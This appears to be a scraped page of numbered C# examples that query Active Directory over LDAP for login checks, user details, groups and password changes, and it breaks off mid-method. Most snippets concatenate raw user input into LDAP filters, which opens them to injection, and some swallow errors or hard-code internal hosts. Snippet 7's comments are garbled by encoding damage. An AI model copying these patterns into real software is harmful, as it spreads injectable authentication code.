Esempio n. 1
2
        private void btnLogin_Click(object sender, EventArgs e)
        {
            if (txtUserName.Text.Length == 0 || txtPassword.Text.Length == 0)
            {
                MessageBox.Show("用户名或者密码不能为空。", this.Text, MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }

            string directoryPath = "LDAP://" + GetDomainName();
            string domainAndUsername = directoryPath + txtUserName.Text;

            try
            {
                DirectoryEntry entry = new DirectoryEntry(directoryPath, txtUserName.Text, txtPassword.Text);
                DirectorySearcher search = new DirectorySearcher(entry);

                SearchResult result = search.FindOne();
                MessageBox.Show("登录成功。", this.Text, MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            catch (Exception ex)
            {
                // 如果用户名或者密码不正确,也会抛出异常。
                MessageBox.Show(ex.Message, this.Text, MessageBoxButtons.OK, MessageBoxIcon.Stop);
            }
        }
Esempio n. 2
0
 public static SearchResult GetSearchResult(string user, string password, string LDAPPath)
 {
     SearchResult sRsResult = null;
     DirectoryEntry entry = null;
     DirectorySearcher mySearcher = null;
     entry = GetDirectoryEntry(user, password, LDAPPath);
     if (entry != null)
     {
         try
         {
             mySearcher = new DirectorySearcher(entry);
         }
         catch (COMException) { };
         if (mySearcher != null)
         {
             try
             {
                 string strFilter = "(&(objectCategory=person)(objectClass=user)(sAMAccountName=" + user + "))";
                 mySearcher.Filter = strFilter;
                 sRsResult = mySearcher.FindOne();
             }
             catch (COMException) { };
         }
         else { };
     }
     else { };
     return sRsResult;
 }
        public BitmapImage GetUserImage(string userName)
        {
            using (DirectorySearcher dsSearcher = new DirectorySearcher(this.entry))
            {
                dsSearcher.Filter = "(&(objectClass=user) (cn=" + userName.Split('\\').Last() + "*))";
                SearchResult result = dsSearcher.FindOne();

                if (result == null)
                    return null;

                using (DirectoryEntry user = new DirectoryEntry(result.Path))
                {
                    byte[] data = user.Properties[this.imageProperty].Value as byte[];

                    if (data == null)
                        return null;

                    using (var stream = new MemoryStream(data))
                    {
                        BitmapImage image = new BitmapImage();

                        image.BeginInit();
                        image.StreamSource = stream;
                        image.EndInit();

                        return image;
                    }
                }
            }
        }
Esempio n. 4
0
        public static Task Test()
        {
            return Task.Run(() => {
                string strServerDNS = "ldap.hp.com:389";
                string strSearchBaseDN = "ou=Email,ou=Services,o=hp.com";
                string strLDAPPath;
                strLDAPPath = "LDAP://" + strServerDNS + "/" + strSearchBaseDN;
                DirectoryEntry objDirEntry = new DirectoryEntry(strLDAPPath, null, null, AuthenticationTypes.Anonymous);
                DirectorySearcher searcher = new DirectorySearcher(objDirEntry);
                SearchResult result = null;

                searcher.Filter = "[email protected]";
                searcher.PropertiesToLoad.Add("ntUserDomainId");

                searcher.ClientTimeout = TimeSpan.FromSeconds(20);
                try
                {
                    result = searcher.FindOne();

                }
                catch (Exception ex)
                {

                }

                finally
                {
                    searcher.Dispose();
                }

            });
        }
Esempio n. 5
0
        //Get employee active directory login
        public bool IsActiveDirectoryLogin(string EmplID, string Password)
        {
            string _path = "LDAP://10.82.33.21/dc=wcz,dc=wistron";
            string _filterAttribute;

            string domainAndUsername = @"WCZ\" + EmplID;
            DirectoryEntry entry = new DirectoryEntry(_path,
                                                       domainAndUsername,
                                                         Password);
            try
            {
                // Bind to the native AdsObject to force authentication.
                Object obj = entry.NativeObject;

                DirectorySearcher search = new DirectorySearcher(entry);
                search.Filter = "(SAMAccountName=" + EmplID + ")";
                search.PropertiesToLoad.Add("cn");
                SearchResult result = search.FindOne();
                if (null == result)
                {
                    //error msg here
                }
                // Update the new path to the user in the directory
                _path = result.Path;

                _filterAttribute = (String)result.Properties["cn"][0];

                return true;
            }
            catch (Exception ex)
            {
                string Message = "Error:" + ex.Message;
                return false;
            }
        }
        public bool isValidMailID(String mailID)
        {
            try
            {
                System.DirectoryServices.DirectoryEntry    dirEntry    = new System.DirectoryServices.DirectoryEntry("LDAP://SukantaServer");
                System.DirectoryServices.DirectorySearcher dirSearcher = new System.DirectoryServices.DirectorySearcher(dirEntry);

                dirSearcher.Filter = "(SAMAccountName=" + mailID + ")";

                System.DirectoryServices.SearchResult result = dirSearcher.FindOne();

                if (result != null)
                {
                    return(true);
                }
                else
                {
                    return(false);
                }
            }
            catch (Exception ex)
            {
                //throw new Exception("User not authenticated: " + ex.Message);
                return(false);
            }
        }
Esempio n. 7
0
 /// <summary>
 /// �������û�������
 /// </summary>
 /// <param name="UserName">���û���</param>
 /// <param name="OldPassword">������</param>
 /// <param name="NewPassword">������</param>
 /// <param name="DomainName">DNS����</param>
 /// <returns>�ɹ������棬���ɹ����ؼ�</returns>
 public static bool ChangePassword(string UserName, string OldPassword, string NewPassword, string DomainName)
 {
     try
     {
         string UserPrincipalName = UserName + "@" + DomainName;
         DirectoryEntry deRootDSE = new DirectoryEntry("LDAP://RootDSE", UserPrincipalName, OldPassword, AuthenticationTypes.Secure);
         DirectoryEntry deDomain = new DirectoryEntry("LDAP://" + deRootDSE.Properties["defaultNamingContext"].Value.ToString(), UserPrincipalName, OldPassword, AuthenticationTypes.Secure);
         DirectorySearcher dsSearcher = new DirectorySearcher();
         dsSearcher.SearchRoot = deDomain;
         dsSearcher.SearchScope = SearchScope.Subtree;
         dsSearcher.Filter = "(userPrincipalName=" + UserPrincipalName + ")";
         SearchResult srResult = dsSearcher.FindOne();
         if (srResult != null)
         {
             DirectoryEntry deUser = new DirectoryEntry(srResult.GetDirectoryEntry().Path, UserPrincipalName, OldPassword, AuthenticationTypes.Secure);
             deUser.Invoke("ChangePassword", new object[] { OldPassword, NewPassword });
             deUser.CommitChanges();
             return true;
         }
         else
             return false;
     }
     catch //(Exception ex)
     {
         return false;// ex.Message;
     }
 }
Esempio n. 8
0
        public static KUsr GetKUsr(string userId)
        {
            var kUsr = new KUsr();

            if (string.IsNullOrWhiteSpace(userId))
                return kUsr;

            kUsr.UserId = userId;//AmUtil.GetCurrentUser;

            SearchResult result = null;

            using (DirectoryEntry AdEntry = ConfigUtility.IsAdTLogin() ?
                new DirectoryEntry(ConfigUtility.GetActiveDirectory()) :
                new DirectoryEntry(ConfigUtility.GetActiveDirectory(), ConfigUtility.GetAdLoginInfo().Item1, ConfigUtility.GetAdLoginInfo().Item2))
            {
                using (DirectorySearcher AdSearcher = new DirectorySearcher(AdEntry))
                {
                    AdSearcher.Filter = "(CN=" + kUsr.UserId + ")";
                    AdSearcher.PropertiesToLoad.Add(kUsr.GetPropAttr<KUsr, AltPropName>(x => x.Domain).Name);
                    AdSearcher.PropertiesToLoad.Add(kUsr.GetPropAttr<KUsr, AltPropName>(x => x.FName).Name);
                    AdSearcher.PropertiesToLoad.Add(kUsr.GetPropAttr<KUsr, AltPropName>(x => x.LName).Name);
                    AdSearcher.PropertiesToLoad.Add(kUsr.GetPropAttr<KUsr, AltPropName>(x => x.EmailId).Name);
                    //AdSearcher.PropertiesToLoad.Add(kUsr.GetPropAttr<KUsr, AltPropName>(x => x.UserInitials).Name);
                    AdSearcher.PropertiesToLoad.Add(kUsr.GetPropAttr<KUsr, AltPropName>(x => x.Location).Name);
                    AdSearcher.PropertiesToLoad.Add(kUsr.GetPropAttr<KUsr, AltPropName>(x => x.Department).Name);

                    result = AdSearcher.FindOne();
                }

                //AdEntry.Close();
            }

            if (result != null)
            {
                DirectoryEntry usrEntry = result.GetDirectoryEntry();

                kUsr.Domain = usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.Domain).Name].Value == null ? null :
                    usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.Domain).Name].Value.ToString();

                kUsr.FName = usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.FName).Name].Value == null ? null :
                    usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.FName).Name].Value.ToString();

                kUsr.LName = usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.LName).Name].Value == null ? null :
                    usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.LName).Name].Value.ToString();

                kUsr.EmailId = usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.EmailId).Name].Value == null ? null :
                    usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.EmailId).Name].Value.ToString();

                //kUsr.UserInitials = usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.UserInitials).Name].Value == null ? null :
                //    usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.UserInitials).Name].Value.ToString();

                kUsr.Location = usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.Location).Name].Value == null ? null :
                    usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.Location).Name].Value.ToString();

                kUsr.Department = usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.Department).Name].Value == null ? null :
                    usrEntry.Properties[kUsr.GetPropAttr<KUsr, AltPropName>(x => x.Department).Name].Value.ToString();
            }

            return kUsr;
        }
        public static string UserName(string loginDomain)
        {
            string domain = loginDomain.Substring(0, loginDomain.LastIndexOf(@"\"));
            string login = loginDomain.Substring(loginDomain.LastIndexOf(@"\") + 1);

            string nome = string.Empty;

            if (DirectoryEntry.Exists("LDAP://" + domain))
            {
                using (DirectorySearcher ds = new DirectorySearcher())
                {
                    ds.SearchRoot = new DirectoryEntry("LDAP://" + domain);
                    ds.Filter = string.Format("(|(&(objectCategory=user)(sAMAccountName={0})))", login);
                    SearchResult src = ds.FindOne();

                    if (src != null)
                    {
                        nome = src.Properties["displayName"][0].ToString();
                    }
                }
            }
            else
            {
                throw new Exception("Domínio não encontrado");
            }

            return nome;
        }
        public bool IsAuthenticated(string domain, string username, string pwd)
        {
            string domainAndUsername = domain + "\\" + username;
            DirectoryEntry entry = new DirectoryEntry(_path, domainAndUsername, pwd);

            try {
            //Bind to the native AdsObject to force authentication.
            object obj = entry.NativeObject;
            DirectorySearcher search = new DirectorySearcher(entry);

            search.Filter = "(SAMAccountName=" + username + ")";
            search.PropertiesToLoad.Add("cn");
            SearchResult result = search.FindOne();

            if ((result == null)) {
                return false;
            }

            //Update the new path to the user in the directory.
            _path = result.Path;
            _filterAttribute = Convert.ToString(result.Properties["cn"][0]);

            } catch (Exception ex) {
            throw new Exception("Error authenticating user. " + ex.Message);
            }

            return true;
        }
Esempio n. 11
0
        private static bool AutenticarEnDominio(string userDisplayName, string codigoUsuario, string password)
        {
            ILog Logger = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType);

            DirectoryEntry entry = GetDirectoryEntry();
            entry.Username = codigoUsuario;
            entry.Password = password;

            try
            {
                var ds = new DirectorySearcher(entry)
                {
                    Filter = ("(&(objectclass=user)(objectcategory=person)(displayname=" + userDisplayName + "))")
                };
                ds.SearchScope = SearchScope.Subtree;
                SearchResult results = ds.FindOne();

                if (results != null)
                {
                    return true;
                }

                entry.Close();
                return false;
            }
            catch (Exception ex)
            {
                Logger.Error("Exception AutenticarEnDominio:" + ex.Message);
                return false;
            }
        }
        private void getActiveUser_Department(string usr)//Get Acetive User's Department
        {
            CommonFunctions clsCom = new CommonFunctions();
            String          LDAP   = clsCom.getADIPAddress(Company);

            System.DirectoryServices.DirectoryEntry    dirEntry;
            System.DirectoryServices.DirectorySearcher dirSearcher;
            dirEntry = new System.DirectoryServices.DirectoryEntry(LDAP);

            dirSearcher        = new System.DirectoryServices.DirectorySearcher(Company);
            dirSearcher.Filter = "(&(objectClass=user)(SAMAccountName=" + usr + "))";


            SearchResult sr = dirSearcher.FindOne();

            System.DirectoryServices.DirectoryEntry de = sr.GetDirectoryEntry();

            if (sr == null)
            {
                return;
            }
            else
            {
                userDepartment             = de.Properties["Department"].Value.ToString();
                Session["User_Department"] = userDepartment;
            }
        }
Esempio n. 13
0
        public override string[] GetRolesForUser(string username)
        {
            try
            {
                List<string> rv = new List<string>();
                DirectoryEntry deGetCN = new DirectoryEntry(WebConfigurationManager.ConnectionStrings["LDAP"].ConnectionString);
                DirectorySearcher dsGet = new DirectorySearcher(deGetCN);
                dsGet.Filter = "(SAMAccountName=" + username + ")";
                dsGet.ServerTimeLimit = new TimeSpan(0, 0, 5);
                dsGet.ClientTimeout = new TimeSpan(0, 0, 5);
                dsGet.PropertiesToLoad.Add("memberOf");

                SearchResult sr = dsGet.FindOne();
                if (sr == null)
                    throw new ArgumentNullException("Invalid user");
                else
                {
                    for (int i = 0; i < sr.Properties["memberOf"].Count; i++)
                    {
                        string result = (string)sr.Properties["memberOf"][i];
                        int ixEqual = result.IndexOf("=", 1);
                        int ixComma = result.IndexOf(",", 1);
                        if (ixEqual == -1)
                            return null;
                        rv.Add(result.Substring(ixEqual + 1, (ixComma - ixEqual) - 1));
                    }
                    return rv.ToArray();
                }
            }
            catch (Exception)
            {
                throw;
            }
        }
Esempio n. 14
0
        // potentially not needed due to use of the role provider
        public string GetGroups()
        {
            DirectorySearcher search = new DirectorySearcher(_path);
            search.Filter = "(cn=" + _filterAttribute + ")";
            search.PropertiesToLoad.Add("memberOf");
            StringBuilder groupNames = new StringBuilder();

            try
            {
                SearchResult result = search.FindOne();
                int propertyCount = result.Properties["memberOf"].Count;
                string dn;
                int equalsIndex, commaIndex;

                for (int propertyCounter = 0; propertyCounter < propertyCount; propertyCounter++)
                {
                    dn = (string)result.Properties["memberOf"][propertyCounter];
                    equalsIndex = dn.IndexOf("=", 1);
                    commaIndex = dn.IndexOf(",", 1);
                    if (-1 == equalsIndex)
                    {
                        return null;
                    }
                    groupNames.Append(dn.Substring((equalsIndex + 1), (commaIndex - equalsIndex) - 1));
                    groupNames.Append("|");
                }
            }
            catch (Exception ex)
            {
                throw new Exception("Error obtaining group names. " + ex.Message);
            }
            return groupNames.ToString();
        }
Esempio n. 15
0
        public UserModel AuthenticateAgainstDomain(string domainName, string password)
        {
            try
            {
                var directoryEntry = new DirectoryEntry(LDAP, domainName, password);
                var searchAdForUser = new DirectorySearcher(directoryEntry) { Filter = "(&(objectClass=user)(anr=" + domainName + "))" };
                var retrievedUser = searchAdForUser.FindOne();

                var ldapEmailAddress = retrievedUser.Properties["mail"][0].ToString();

                var existingUser = this.userRepository.Find(new UserSpecification().WithEmailAddress(ldapEmailAddress));

                if(existingUser == null)
                {
                    existingUser = new User { EmailAddress = ldapEmailAddress };
                }

                this.userRepository.Save(existingUser);

                var userModel = new UserModel()
                {
                    Title = retrievedUser.Properties["title"][0].ToString(),
                    Mobile = retrievedUser.Properties["mobile"][0].ToString(),
                    EmailAddress = ldapEmailAddress,
                    Name = retrievedUser.Properties["givenname"][0].ToString(),
                    Surname = retrievedUser.Properties["sn"][0].ToString()
                };

                return userModel;
            }
            catch (DirectoryServicesCOMException ex)
            {
                throw new Exception(ex.Message);
            }
        }
Esempio n. 16
0
 public string GetGroups()
 {
     DirectorySearcher searcher = new DirectorySearcher(this._path);
     searcher.Filter = "(cn=" + this._filterAttribute + ")";
     searcher.PropertiesToLoad.Add("memberOf");
     StringBuilder builder = new StringBuilder();
     try
     {
         SearchResult result = searcher.FindOne();
         int count = result.Properties["memberOf"].Count;
         for (int i = 0; i < count; i++)
         {
             string str = (string)result.Properties["memberOf"][i];
             int index = str.IndexOf("=", 1);
             int num3 = str.IndexOf(",", 1);
             if (-1 == index)
             {
                 return null;
             }
             builder.Append(str.Substring(index + 1, (num3 - index) - 1));
             builder.Append("|");
         }
     }
     catch (Exception exception)
     {
         throw new Exception("Error obtaining group names. " + exception.Message);
     }
     return builder.ToString();
 }
Esempio n. 17
0
        /// <summary>
        /// Get the primary SMTP address of the given user name
        /// </summary>
        /// <param name="upnUserName">UPN formatted user name to look up</param>
        /// <returns>Primary SMTP address of the user if found</returns>
        public static string GetPrimarySmtp(string upnUserName)
        {
            string primarySmtp = string.Empty;

            // Use the current user's identity to get their
            // default SMTP address from the default domain.
            // In other words - make a lot of assumptions!

            // This logic is very thin but maybe it will stand up...
            // Expecting the format of the identity to be
            // 'DomainName\sAMAccountName', if not BOOM!
            if (!upnUserName.Contains("\\"))
            {
                throw new ApplicationException("Unknown identity name pattern, cannot retrieve default SMTP address.");
            }

            // Tear off the sAMAccountName from the identity string
            string sAMAccountName = upnUserName.Split(new char[] { '\\' })[1];

            // Search AD for the sAMAccountName
            DirectorySearcher ds = new DirectorySearcher();
            ds.Filter = string.Format(System.Globalization.CultureInfo.CurrentCulture, "sAMAccountName={0}", sAMAccountName);

            SearchResult result = ds.FindOne();

            if (result == null)
            {
                // If there are no results go BOOM!
                throw new ApplicationException("Directory entry not found, cannot retrieve default SMTP address.");
            }

            // Get the 'mail' property and assume the
            // first value is the primary SMTP address
            return result.Properties["mail"][0].ToString();
        }
        private void RequesterEmail_comboBox_SelectedIndexChanged(object sender, EventArgs e)
        {
            // Get user first name and last name by email
            string mail = RequesterEmail_comboBox.Text;
            DirectoryEntry entry = new DirectoryEntry();
            DirectorySearcher adsearcher = new DirectorySearcher(entry);
            adsearcher.Filter = "(&(objectClass=user)(mail=" + mail + "))";
            adsearcher.PropertiesToLoad.Add("givenName");
            adsearcher.PropertiesToLoad.Add("sn");
            adsearcher.PropertiesToLoad.Add("mail");
            SearchResult result = adsearcher.FindOne();

            if (result == null)
                MessageBox.Show("Email Does Not Exist !!" + Environment.NewLine + "Please Check Your Spelling !!");

            if (result != null)
            {
                DirectoryEntry employee = result.GetDirectoryEntry();
                string FirstName = employee.Properties["givenName"].Value.ToString();
                string LastName = employee.Properties["sn"].Value.ToString();

                RequesterFirstName_txtBox.Text = FirstName;
                RequesterLastName_txtBox.Text = LastName;

            }
        }
        public Image GetUserPicture(string userName, string domain)
        {
            var directoryEntry = new DirectoryEntry("LDAP://" + domain);
            var propertiesToLoad = new[] { "thumbnailPhoto", "samaccountname" };
            var filter = $"(&(SAMAccountName={userName}))";
            var directorySearcher = new DirectorySearcher(directoryEntry, filter, propertiesToLoad);
            var user = directorySearcher.FindOne();

            if (user == null)
            {
                _log.Warn($"Could not find user '{userName}' in active directory");
                return null;
            }

            if (!user.Properties.Contains("thumbnailPhoto"))
            {
                var message = "LDAP did not contain a thumbnailPhoto property for " + userName;
                _log.Warn(message);
                return null;
            }
            var bytes = user.Properties["thumbnailPhoto"][0] as byte[];
            if (bytes == null) return null;
            using (var ms = new MemoryStream(bytes))
            {
                var image = Image.FromStream(ms);
                return image;
            }
        }
Esempio n. 20
0
        private void Initialize()
        {
            this.Name = Domain.Name;

            var dc = Domain.FindDomainController();

            string ldapPath = string.Format("LDAP://{0}/", dc.Name);

            using (var adRootDSE = new DirectoryEntry(ldapPath + "RootDSE"))
            {
                this.DistinguishedName = adRootDSE.Properties["defaultNamingContext"][0].ToString();
                this.ConfigurationNamingContext = adRootDSE.Properties["configurationNamingContext"][0].ToString();
            }

            using (var adDomainRoot = new DirectoryEntry(ldapPath + this.DistinguishedName))
            {
                this.SecurityIdentifier = new SecurityIdentifier((byte[])(adDomainRoot.Properties["objectSid"][0]), 0);
            }

            using (var configSearchRoot = new DirectoryEntry(ldapPath + "CN=Partitions," + this.ConfigurationNamingContext))
            {
                var configSearchFilter = string.Format("(&(objectcategory=Crossref)(dnsRoot={0})(netBIOSName=*))", this.Name);

                using (var configSearcher = new DirectorySearcher(configSearchRoot, configSearchFilter, new string[] { "NetBIOSName" }, System.DirectoryServices.SearchScope.OneLevel))
                {
                    SearchResult configResult = configSearcher.FindOne();
                    if (configResult != null)
                        this.NetBiosName = configResult.Properties["NetBIOSName"][0].ToString();
                    else
                        this.NetBiosName = null;
                }
            }
        }
        public User AuthenticateUser(string username, string password)
        {
            try
            {
                DirectoryEntry deSystem = new DirectoryEntry();
                deSystem.AuthenticationType = AuthenticationTypes.Secure;
                deSystem.Username = username;
                deSystem.Password = password;

                // Bind to the native AdsObject to force authentication.
                Object obj = deSystem.NativeObject;
                DirectorySearcher ds = new DirectorySearcher(deSystem);
                ds.Filter = "(SAMAccountName=" + username + ")";
                ds.PropertiesToLoad.Add("name");
                ds.PropertiesToLoad.Add("mail");

                SearchResult sr = ds.FindOne();
                if (sr == null)
                {
                    return null;
                }

                DirectoryEntry de = sr.GetDirectoryEntry();
                User user = new User();
                user.UserId = username;
                user.UserName = de.Properties["name"].Value.ToString();
                user.Email = de.Properties["mail"].Value.ToString();
                return user;
            }
            catch (Exception ex)
            {
                string s = ex.Message;
                return null;
            }
        }
Esempio n. 22
0
        private Dictionary <string, string> GetUsedAttributesWorking(string objectDn)
        {
            Dictionary <string, string> props = new Dictionary <string, string>();

            // Get the currently connected LDAP context
            System.DirectoryServices.DirectoryEntry entry1 = new System.DirectoryServices.DirectoryEntry("LDAP://RootDSE");
            string domainContext = entry1.Properties["defaultNamingContext"].Value as string;

            // Use the default naming context as the connected context may not work for searches
            System.DirectoryServices.DirectoryEntry    entry    = new System.DirectoryServices.DirectoryEntry("LDAP://" + domainContext);
            System.DirectoryServices.DirectorySearcher adSearch = new System.DirectoryServices.DirectorySearcher(entry);

            adSearch.Filter = "(&(objectClass=user)(anr=" + objectDn + "))";
            string[] requiredProperties = new string[] { "cn", "userprincipalname", "physicaldeliveryofficename", "distinguishedname", "telephonenumber", "mail", "title", "department", "adspath" };

            foreach (String property in requiredProperties)
            {
                adSearch.PropertiesToLoad.Add(property);
            }

            SearchResult result = adSearch.FindOne();

            if (result != null)
            {
                foreach (String property in requiredProperties)
                {
                    foreach (Object myCollection in result.Properties[property])
                    {
                        props.Add(property, myCollection.ToString());
                    }
                }
            }

            return(props);
        }
Esempio n. 23
0
        public LdapUser(DirectoryEntry adentry, String userName, LdapSettings ldapSettings)
        {
            userid = new LdapAttribute("userid", userName);
            DirectorySearcher ds = new DirectorySearcher(adentry);
            ds.Filter = "(&(sAMAccountName=" + userName + "))";
            SearchResult result = ds.FindOne();
            DirectoryEntry ent = null;

            if (result != null)
            {
                ent = result.GetDirectoryEntry();
            }

            if (ent != null)
            {
                if (ent.Properties["cn"].Value != null)
                {
                    commonname = new LdapAttribute("commonname", ent.Properties["cn"].Value.ToString());
                }
                else
                {
                    commonname = new LdapAttribute("commonname", userName);
                }
                if (ent.Properties["mail"].Value != null)
                {
                    email = new LdapAttribute("email", ent.Properties["mail"].Value.ToString());
                }
                else
                {
                    email = new LdapAttribute("email", userName + "@" + ldapSettings.Domain);
                }
            }
        }
Esempio n. 24
0
        static public void getGrups(string username, string group_Admin)
        {
            try
            {
                //   string filter = string.Format("(&(ObjectClass={0})(sAMAccountName={1}))", "person", "afanasievdv");
                string domain = "isea.ru";
                string[] properties = new string[] { "fullname" };
              //  username = "******";

                DirectoryEntry adRoot = new DirectoryEntry("LDAP://" + domain, null, null, AuthenticationTypes.Secure);
                DirectorySearcher dirsearcher = new DirectorySearcher(adRoot);
                dirsearcher.Filter = string.Format("(&(ObjectClass={0})(sAMAccountName={1}))", "person", username);
                dirsearcher.PropertiesToLoad.Add("memberOf");
                int propCount;

                SearchResult dirSearchResults = dirsearcher.FindOne();
                propCount = dirSearchResults.Properties["memberOf"].Count;

                DirectoryEntry directoryEntry = dirSearchResults.GetDirectoryEntry();
                //  string dn, equalsIndex, commaIndex;
                PropertyValueCollection groups = directoryEntry.Properties["memberOf"];
                foreach (string g in groups)
                {
                    string group = g.Split('=')[1].Split(',')[0];
                    System.Diagnostics.Debug.WriteLine(group);
                }
            }
            catch (Exception ex)
            {
                System.Diagnostics.Debug.WriteLine(ex.ToString());
            }
        }
        public bool isAuthenticatedAgainstLDAP(string username, string password)
        {
            string LDAPServerURL = @"LDAP://directory.monash.edu.au:389/";
            string LDAPBaseOU = "o=Monash University,c=AU";
            try
            {
                DirectoryEntry LDAPAuthEntry = new DirectoryEntry(LDAPServerURL + LDAPBaseOU, "", "", AuthenticationTypes.Anonymous);
                DirectorySearcher LDAPDirectorySearch = new DirectorySearcher(LDAPAuthEntry);
                LDAPDirectorySearch.ClientTimeout = new System.TimeSpan(0, 0, 5);
                LDAPDirectorySearch.Filter = "uid=" + username;
                SearchResult LDAPSearchResponse = LDAPDirectorySearch.FindOne();

                string NewSearchPath = LDAPSearchResponse.Path.ToString();
                string NewUserName = NewSearchPath.Substring(NewSearchPath.LastIndexOf("/") + 1);

                DirectoryEntry AuthedLDAPAuthEntry = new DirectoryEntry(NewSearchPath, NewUserName, password, AuthenticationTypes.None);
                DirectorySearcher AuthedLDAPDirectorySearch = new DirectorySearcher(AuthedLDAPAuthEntry);
                AuthedLDAPDirectorySearch.ClientTimeout = new System.TimeSpan(0, 0, 5);
                AuthedLDAPDirectorySearch.Filter = "";
                SearchResultCollection AuthedLDAPSearchResponse = AuthedLDAPDirectorySearch.FindAll();
            }
            catch (Exception e)
            {
                //System.Windows.Forms.MessageBox.Show(string.Format("Failed authentication against LDAP because {0}", e.Message));
                return false;
            }
            return true;
        }
Esempio n. 26
0
		public override DirectoryObject GetDirectoryObjectById(string id) {
			if(id == null) {
				throw new ArgumentNullException("id");
			}
			DirectoryObject directoryObject = null;
			if(id.Length > 0) {
				using(DirectoryEntry directoryEntry = this.GetDirectoryEntry()) {
					using(DirectorySearcher directorySearcher = new DirectorySearcher(
							  directoryEntry,
							  string.Format(CultureInfo.InvariantCulture, FilterAndFormat, BaseFilter + string.Format(CultureInfo.InvariantCulture, FilterFormat, this.IdentifyingPropertyName, id)),
							  PropertyNames,
							  SearchScope.Subtree)) {
						SearchResult searchResult = directorySearcher.FindOne();
						if(searchResult != null) {
							directoryObject = this.CreateDirectoryObjectInstance();
							directoryObject.Id = GetPropertyValue(searchResult, this.IdentifyingPropertyName);
							foreach(string propertyName in searchResult.Properties.PropertyNames) {
								if(directoryObject.Contains(propertyName)) {
									directoryObject[propertyName] = GetPropertyValue(searchResult, propertyName);
								}
							}
						}
					}
				}
			}
			return directoryObject;
		}
Esempio n. 27
0
        public DirectoryEntry GetUserByPath(String Path)
        {
            String    Domain    = db.Parameters.AsNoTracking().Where(p => p.ParamName == "ADDomain").FirstOrDefault().ParamValue;
            Parameter adminName = db.Parameters.AsNoTracking().Where(p => p.ParamName == "ADUsername").FirstOrDefault();
            Parameter password  = db.Parameters.AsNoTracking().Where(p => p.ParamName == "ADPassword").FirstOrDefault();

            password.ParamValue = util.Decrypt(password.ParamValue);

            string strRootForest = "LDAP://" + Domain;

            System.DirectoryServices.DirectoryEntry root = new System.DirectoryServices.DirectoryEntry(strRootForest, adminName.ParamValue, password.ParamValue);

            System.DirectoryServices.DirectorySearcher searcher = new System.DirectoryServices.DirectorySearcher(root);
            searcher.SearchScope     = SearchScope.Subtree;
            searcher.ReferralChasing = ReferralChasingOption.All;

            string vbSearchCriteria = "(distinguishedName=" + Path + ")";

            searcher.Filter = "(&(objectClass=user)" + vbSearchCriteria + ")";

            SearchResult result = searcher.FindOne();

            System.DirectoryServices.DirectoryEntry ADsObject = result.GetDirectoryEntry();

            return(ADsObject);
        }
Esempio n. 28
0
        public AdUser GetUserById(string id)
        {
            try
            {
                DirectoryEntry entry = new DirectoryEntry("LDAP://infotecs-nt");
                string managerDN;
                AdUser user;
                using (DirectorySearcher dSearch = new DirectorySearcher(entry))
                {
                    dSearch.Filter = string.Format("(&(objectCategory=person)(objectClass=user)(samaccountname={0}))", id);
                    var result = dSearch.FindOne();
                    user = MapUserFromAdResult(result);
                    managerDN = (string)result.Properties["manager"][0];
                }

                using (DirectorySearcher dSearch = new DirectorySearcher(entry))
                {
                    dSearch.Filter = string.Format("(&(objectCategory=person)(objectClass=user)(distinguishedname={0}))", managerDN);
                    var result = dSearch.FindOne();
                    var manager = MapUserFromAdResult(result);
                    user.Manager = manager;
                }

                return user;
            }
            catch
            {
            }

            return null;
        }
 //- Método que valida el usuario en el Active Directory
 public bool ValidarUsuarioActiveDirectory(string _Path, string userId, string password)
 {
     DirectoryEntry deEntry = new DirectoryEntry(_Path, userId, password);
     DirectorySearcher dsSearcher = new DirectorySearcher(deEntry);
     bool bandera = false;
     try
     {
         UsuarioId(userId);
         dsSearcher.Filter = "(SAMAccountName=" + w_UserAD.Trim() + ")";
         dsSearcher.PropertiesToLoad.Add("cn");
         SearchResult result = dsSearcher.FindOne();
         if (!string.IsNullOrEmpty(result.ToString()))
         {
             bandera = true;
         }
         else
         {
             bandera = false;
         }
         _path = result.Path;
         _filterAttribute = (String)result.Properties["cn"][0];
     }
     catch (Exception)
     {
         return false;
     }
     return bandera;
 }
Esempio n. 30
0
File: AD.cs Progetto: Corey-M/Misc
        public static DirectoryEntry FindUser(string userName)
        {
            if (string.IsNullOrEmpty(LoginDomain) || !UseWindowsCreds && (string.IsNullOrEmpty(DomainName) || string.IsNullOrEmpty(Username) || string.IsNullOrEmpty(Password)))
            {
                if (EditADPrefs.Execute() != System.Windows.Forms.DialogResult.OK)
                    return null;
            }

            try
            {
                DirectoryEntry dom = null;
                if (UseWindowsCreds)
                    dom = new DirectoryEntry("LDAP://" + DomainName);
                else
                    dom = new DirectoryEntry("LDAP://" + DomainName, LoginDomain + @"\" + Username, Password, AuthenticationTypes.None);
                using (DirectorySearcher dsSearcher = new DirectorySearcher(dom))
                {
                    dsSearcher.Filter = string.Format("(&(objectClass=user)(|(cn={0})(samaccountname={0})))", userName);
                    dsSearcher.PropertiesToLoad.Add("ThumbnailPhoto");
                    SearchResult result = dsSearcher.FindOne();

                    if (result == null || string.IsNullOrEmpty(result.Path))
                        return null;

                    if (UseWindowsCreds)
                        return new DirectoryEntry(result.Path);
                    return new DirectoryEntry(result.Path, LoginDomain + @"\" + Username, Password, AuthenticationTypes.None);
                }
            }
            catch (Exception e)
            {
                MessageBox.Show(string.Format("Failed to search for user.\r\n\r\nError was:\r\n{0}", e.Message), "A/D Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            return null;
        }
Esempio n. 31
0
        public static UserEntity FindUserByLogin(string login)
        {
